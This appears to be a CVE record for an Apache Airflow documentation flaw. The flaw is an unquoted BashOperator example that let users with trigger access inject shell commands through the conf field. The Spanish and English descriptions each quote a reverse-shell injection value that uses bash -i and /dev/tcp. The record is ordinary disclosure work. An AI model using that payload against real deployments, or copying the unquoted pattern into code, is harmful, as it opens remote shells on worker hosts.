Title: Apache Airflow de Apache Software Foundation, Description: La documentación oficial de Apache Airflow en 'core-concepts/dag-run.html' ( Pasando parámetros al activar Dags ) mostraba un ejemplo textual de 'BashOperator(bash_command="echo value: {{ dag_run.conf[ conf1 ] }}")' sin ninguna advertencia de entrecomillado / saneamiento. Los autores de Dags que copiaron el patrón textualmente en despliegues donde los usuarios tenían permiso 'Dag.can_trigger' en el Dag afectado (despliegues multi-equipo típicos, ofertas alojadas que exponen una API de activación) podrían estar expuestos a inyección de metacaracteres de shell a través del campo 'conf' de la API de activación: un usuario de activación autenticado podría suministrar '"; bash -i  & /dev/tcp/.../9999 0 &1; #"' como valor de 'conf' y alcanzar un 'os.exec' en el worker. Este CVE cubre la corrección de la documentación en 'apache/airflow' PR 64129 - el patrón en el ejemplo de la documentación ahora incluye entrecomillado de shell explícito y una advertencia de seguridad. Afecta a los despliegues cuyo código de Dag fue modelado según el ejemplo de la documentación pre-corrección. De la misma clase que las correcciones de patrón de documentación anteriores CVE-2025-50213 y CVE-2025-27018. Se aconseja a los usuarios actualizar a 'apache-airflow' 3.2.2 o posterior para obtener la documentación corregida que se incluye con la versión.

{"timestamp":"2026-06-02T16:05:01.041622Z","id":"CVE-2026-42252","options":[{"exploitation":"none"},{"automatable":"yes"},{"technicalImpact":"total"}],"role":"CISA Coordinator","version":"2.0.3"}

[{"vendor":"Apache Software Foundation","product":"Apache Airflow","defaultStatus":"unaffected","collectionURL":"https://pypi.python.org","packageName":"apache-airflow","versions":[{"version":"3.0.0","lessThan":"3.2.2","versionType":"semver","status":"affected"}]}]

OR
          *cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:* versions from (including) 3.0.0 up to (excluding) 3.2.2

Apache Software Foundation: https://github.com/apache/airflow/pull/64129 Types: Issue Tracking, Patch

Apache Software Foundation: https://lists.apache.org/thread/8f4sc0rfn154jprmnwtmlst4p9zfw3w7 Types: Mailing List, Vendor Advisory

AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Apache Airflow's official documentation at `core-concepts/dag-run.html` ("Passing Parameters when triggering Dags") showed a verbatim `BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `"; bash -i >& /dev/tcp/.../9999 0>&1; #"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.

CWE-1336

https://github.com/apache/airflow/pull/64129

https://lists.apache.org/thread/8f4sc0rfn154jprmnwtmlst4p9zfw3w7